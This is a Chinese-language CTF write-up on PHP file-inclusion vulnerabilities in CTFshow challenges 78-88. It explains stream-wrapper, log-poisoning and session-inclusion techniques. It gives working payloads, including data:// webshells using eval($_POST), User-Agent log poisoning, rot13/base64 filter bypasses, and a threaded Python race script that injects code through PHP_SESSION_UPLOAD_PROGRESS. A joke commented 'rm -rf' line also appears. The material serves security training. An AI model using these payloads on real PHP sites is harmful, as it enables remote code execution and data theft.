CTFshow文件包含

文件包含

常见的文件包含漏洞函数:include(),require()

本地包含

利用方式:

1、php://input:
?file=php://input
请求体内为PHP代码:<?php phpinfo(); ?>

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

遇到file_get_contents()要想到用php://input绕过。

2、php://filter:
?file=php://filter/rescource=xxx.php
以base64编码读取
?file=php://filter/read=convert.base64-encode/resource=xxx.php

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

3、zip://:
?file=zip://[压缩包绝对路径]#[压缩包内文件]

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

  • zip://中只能传入绝对路径。
  • 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23
  • 只需要是zip的压缩包即可,后缀名可以任意更改。
  • 相同的类型的还有zlib://和bzip2://
4、data://:
?file=data://[<MIME-type>][;cherset=<encoding>][;base64],<data>
下面为示例
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

5、phar//:
?file=phar://压缩包路径(相对绝对都可)/压缩包内文件

需要phar://有点类似zip://同样可以导致任意代码执行。未来的我补一句,这玩意还是乖乖用来反序列化比较好

可供包含的内容:

1、包含Apache日志文件:
条件:对日志文件可读并且知道日志文件的存储目录

注意事项:一般情况下日志存储目录被修改,需要读取服务器配置文件(httpd,conf,nginx,conf…)或者根据phpinfo()中的信息来得知。还有就是日志记录的信息都可以被调整,比如记录报错的等级或者内容格式。

Apache运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。

如果访问一个不存在的资源时,如http://www.xxxx.com/,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全起见,安装apache时尽量不要使用默认路径。

可以放在User-Agent中

2、包含SESSION

条件:找到Session内的可控变量,并且Session文件可读写,并且知道存储路径,PHP中SESSION文件保存路径可以在phpinfo中看到

常见路径:

/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

3、包含/pros/self/environ

内容:proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。

条件:php以cgi方式运行,这样environ才会保持UA头。environ文件存储位置已知,且environ文件可读。

4、包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\Winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

78
payload:?file=php://filter/convert.base64-encode/resource=flag.php

无过滤直接伪协议读取flag

79
payload:?file=data://text/plain,<?=eval($_POST['cmd']);?>
POST
cmd=system('cat flag.php');

payload:?file=data://text/plain,base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

过滤了php,可使用data协议,通过再传入一个参数来执行命令,也可base64解码出想执行的命令

80
?file=/var/log/nginx/access.log
HEADER
User-Agent=<?php eval($_POST[['cmd']]);?>
POST
cmd=system('cat fl0g.php');

过滤了data,可通过包含日志来执行命令

81
?file=/var/log/nginx/access.log
HEADER
User-Agent=<?php eval($_POST[['cmd']]);?>
POST
cmd=system('cat fl0g.php');

过滤了冒号,日志包含依然可行

82

过滤了.,只能包含无后缀文件,在PHP中唯一能控制的无后缀文件就是session文件,所以尝试通过脚本竞争包含写入

原理:在我们自行添加PHPSSEID到网页中时,服务器会自动生成一个文件在/tmp/sess_name,文件名可控。文件内容通过PHP_ SESSION_UPLOAD_PROGRESS参数控制,该参数用于实时获取文件上传进度,会返回一个SESSION,并且该参数的内容将会被加入到sess_name文件中
方法:一边构造POST文件传输请求,将PHP_SESSION_UPLOAD_PROGRESS包含到请求头中,一边包含/tmp/sess_name文件
83-86
# 竞争万能脚本:
# os.system('rm -rf /bin/Azuki')
# 消灭Azuki保平安
import io
import requests
import threading

sessID = 'flag'
url = 'http://193cefd4-47a6-444e-801b-39906604df13.challenge.ctf.show/'


def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 1024 * 50)
        response = session.post(
            url,
            cookies={'PHPSESSID': sessID},
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
            files={'file': ('test.txt', f)}
        )


def read(session):
    while event.isSet():
        response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
        if 'test' in response.text:
            print(response.text)
            event.clear()
        else:
            print('[*]retrying...')


if __name__ == '__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()

87

先贴一个文章

对于php://filter的使用

简单版本:使用rot13编解码绕过

payload:?file=php://filter/write=string.rot13/resource=1.php(记得进行两次URL编码)
POST:
pbagrag=<?cuc flfgrz('gnp s*.cuc');?>
<?php system('tac f*.php');?>经过rot13编码

复杂版本:使用base64编解码绕过

payload:?file=php://filter/write=string.rot13/resource=1.php(记得进行两次URL编码)
POST:
pbagrag=<?cuc flfgrz('gnp s*.cuc');?>
<?php system('tac f*.php');?>经过rot13编码

原理:在过滤器进行base64编解码时,会绕过所有不属于base64编码后的字符(+, / , 09,az,A~Z),比如题中的<?php die("大佬别秀了");?>,过滤器识别到的字符只有phpdie,其余的字符被忽略,我们只需要在我们已经编好的base64文本加两个字母即可让phpdiexx被解析为base64编码后语句,与后面代码无关了

88

构造语句使得base64编码后只含数字和字母即可

payload:?file=data://text/plain;base64,PD9waHAgICBldmFsKCRfUE9TVFsxXSk7
//<?php   eval($_POST[1]);
POST:
1=system('tac f*');